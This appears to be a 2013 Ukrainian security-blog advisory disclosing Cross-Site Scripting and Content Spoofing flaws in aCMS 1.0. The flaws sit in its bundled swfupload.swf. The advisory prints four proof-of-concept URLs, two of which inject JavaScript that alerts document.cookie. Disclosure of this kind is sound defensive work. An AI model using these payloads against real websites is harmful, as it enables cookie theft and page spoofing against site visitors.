Websecurity - Веб безпека

24.05.2013

У квітні, 14.04.2013, я знайшов численні Cross-Site Scripting та Content Spoofing уразливості в aCMS. Про що найближчим часом повідомлю розробникам веб додатку.

Раніше я вже писав про уразливості в aCMS.

Детальна інформація про уразливості з’явиться пізніше. Спочатку повідомлю розробникам.

31.07.2013

Cross-Site Scripting (WASC-08):

http://site/assets/js/tiny_mce/plugins/images/js/swfupload/swfupload.swf?movieName=%22]);}catch(e){}if(!self.a)self.a=!alert(document.cookie);//
http://site/assets/js/tiny_mce/plugins/images/js/swfupload/swfupload.swf?buttonText=%3Ca%20href=%27javascript:alert(document.cookie)%27%3EClick%20me%3C/a%3E

Content Spoofing (WASC-12):

http://site/assets/js/tiny_mce/plugins/images/js/swfupload/swfupload.swf?buttonText=test%3Cimg%20src=%27http://demo.swfupload.org/v220/images/logo.gif%27%3E
http://site/assets/js/tiny_mce/plugins/images/js/swfupload/swfupload.swf?buttonImageURL=http://demo.swfupload.org/v220/images/logo.gif

Вразливі aCMS 1.0 та попередні версії.

This entry was posted on 22:42 31.07.2013 and is filed under Уразливості. You can follow any responses to this entry through the RSS 2.0 feed.